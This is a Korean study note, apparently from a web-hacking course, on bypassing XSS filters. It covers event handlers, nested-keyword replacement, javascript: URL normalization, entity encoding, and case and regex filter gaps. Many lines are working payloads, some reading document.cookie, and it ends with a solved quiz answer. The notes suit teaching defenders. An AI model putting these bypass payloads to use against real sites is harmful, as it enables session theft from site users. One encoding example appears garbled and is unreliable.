XSS 필터링 -> 안전한 마크업만 허용하는 보수적 방식
1. 이벤트 핸들러 속성
자바스크립트 코드 실행 태그 <script> 이외에도 존재
태그의 속성값으로 스크립트 포함하는 경우 多
그중에서
이벤트 핸들러 속성 -> on
이벤트 핸들러: 특정 요소에서 발생하는 이벤트 처리 위함, 콜백 형태의 핸들러 함수
이벤트 핸들러 내에 XSS 공격 코드 삽입 -> XSS 공격 코드 실행
이벤트 핸들러 종류 다양 -> 원리도 다양 (advanced. mozilla developer network)
자주 사용 -> onload, onerror, onfocus
1) onload 이벤트 핸들러
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- -> 유효한 이미지 로드 후 onload 핸들러 실행 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- -> 이미지 로드 실패, onload 핸들러 실행하지 않음 -->
2) onerror 이벤트 핸들러
onload와 반대
<img src="valid.jpg" onerror="alert(document.domain)">
<!-- -> 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onerror="alert(document.domain)">
<!-- -> 이미지 로드 실패, onerror 핸들러 실행 -->
3) onfocus 이벤트 핸들러
input 태그에 커서 클릭 -> focus -> 이벤트 핸들러 실행
공격할 때는 자동 포커스 시켜서 핸들러 실행하도록 함
- autofocus
- URL의 해시부분 id 속성값 ex.http://dreamhack.io/#inputID
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
2. 문자열 치환
script 필터링 -> scrscriptipt 같은 중간삽입
script가 제거되면서 또 하나의 script 만들어짐
필터링 우회 예시
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
문자열 치환 우회: 위 필터링 대응 방안, 문자열에 변화가 없을 때까지 지속적으로 치환하는 방법
특정 키워드가 최종 마크업에 등장하지 않음
but, 고려하지 못한 구문이나 WAF 방어 무력화 등에는 여전히 취약
function replaceIterate(text) {
while (true) {
var newText = text
.replace(/script|onerror/gi, '');
if (newText === text) break;
text = newText;
}
return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,<svg>" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="<sonerrorcript>parent.alescronerroriptrt(1)</scrionerrorpt>" />')
--> <iframe srcdoc="<>parent.alert(1)</>" />
- 코드 풀이:
replaceIterate 함수는 newText와 text가 000이면 break하고 그렇지 않을 때마다 newText 함수를 실행
자바스크립트 var: 변수 선언 시 필요
var a= 0;
var b;
값을 할당하거나 빈 변수 선언 가능
*호이스팅
<imgscript src="data:image/svg+scriptxml,<svg>" onloadscript="alert(1)" />
3. 활성 하이퍼링크
HTML 마크업에서 사용하는 URL은 활성 콘텐츠 포함 가능
이중 javascript: 스키마 -> URL 로드 시, 자바스크립트 코드 실행
예시
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)"></iframe>
a태그나 iframe 태그 -> javascript: 스키마(활성 콘텐츠) -> URL 로드
때문에 XSS 필터링 시, javascript: 스키마 사용하지 못하게 필터링
1) 정규화를 이용하여 우회
*정규화(normalization): 브라우저가 URL 사용 시 거치는 과정, 동일한 리소스를 나타내는 URL들 통합하는 과정
\x01, \x04, \t 같은 특수문자 제거, 스키마 대소문자 통일 과정 등이 존재
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)"></iframe>
2) HTML Entity Encoding을 통한 우회
HTML 태그 속성 내에서 HTML Entity Encoding 사용 가능
이를 이용해 javascript: 스키마나 이외의 xss 키워드 인코딩 -> 필터링 우회
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);"></iframe>
HTML Entity Encoding이 뭔데 그래서
HTML에서 특수 기능하는 문자를 문서 내용으로써 삽입하기 위한 인코딩
예를 들어
<script> alert("ABC") </script>
구문을
<script> alert("ABC") </script>
로 인코딩 수정할 수 있음
직접 URL을 정규화 해보자
자바스크립트는 URL 객체를 통해 정규화 가능
protocol, hostname 등 URL의 각종 정보 추출 가능
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
\4,\t 등 모두 삭제
4. 태그와 속성 기반 필터링
1) 대문자 혹은 소문자만 인식하는 필터 우회
x => !x.includes('script') && !x.includes('on')
위에서는 특정 키워드(script, on)의 대소문자를 모두 검사하지 않는다
다음과 같이 우회할 수 있다
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
2) 잘못된 정규표현식을 사용한 필터 우회
키워드 필터링은 정규표현식을 사용한다.
다음은 스크립트 태그 내에 데이터가 존재하는지 검사하는 정규 표현식
x => !/<script[^>]*>[^<]/i.test(x)
스크립트 태그는 태그 내에 데이터 존재하지 않아도 src 속성으로 입력 가능
<script src="data:,alert(document.cookie)"></script>
다음은 img 태그에 on 이벤트 핸들러가 존재하는지 검사하는 정규표현식
x => !/<img.*on/i.test(x)
하지만 멀티 라인에 대한 검사는 존재 X -> 이를 우회
<img src=""\nonerror="alert(document.cookie)"/>
3) 특정 태그 및 속성에 대하 필터링을 다른 태그/속성을 이용하여 필터 우회
다음은 script, img, input 태그 필터링
x => !/<script|<img|<input/i.test(x)
HTML 내에는 이외에도 다른 태그를 사용해서 공격 가능(아래 예시)
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
다음은 on 이벤트 핸들러 사용 X && 멀티 라인 지원하는 문자 검사
x => !/<script|<img|<input|<.*on/is.test(x)
iframe 태그로 우회 가능, iframe 태그의 src 속성은 URL을 인자로 받음
-> 활성 하이퍼링크 사용 -> 자바스크립트 코드 삽입 가능
srcdoc 속성 사용도 가능( xss 공격 코드 입력)
<iframe src="javascript:alert(parent.document.domain)"></iframe>
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)"/> </iframe>
data.toLowerCase().includes(‘script’)
자바스크립트에서 toLowercase()는 모두 소문자로 바꾸는 함수
오답정리
function XSSFilter(data){
if(data.toLowerCase().includes('script') ||
data.toLowerCase().includes('on')){
return false;
}
return true;
}
위 필터링 우회해서 alert 실행
<iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)'></iframe>
srcdoc 호출 parent.alert 호출 -> 삽입된 xss 페이로드 iframe 안에서 호출, 페이로드 호출 상위 문서에 존재하는 alert 호출해야됨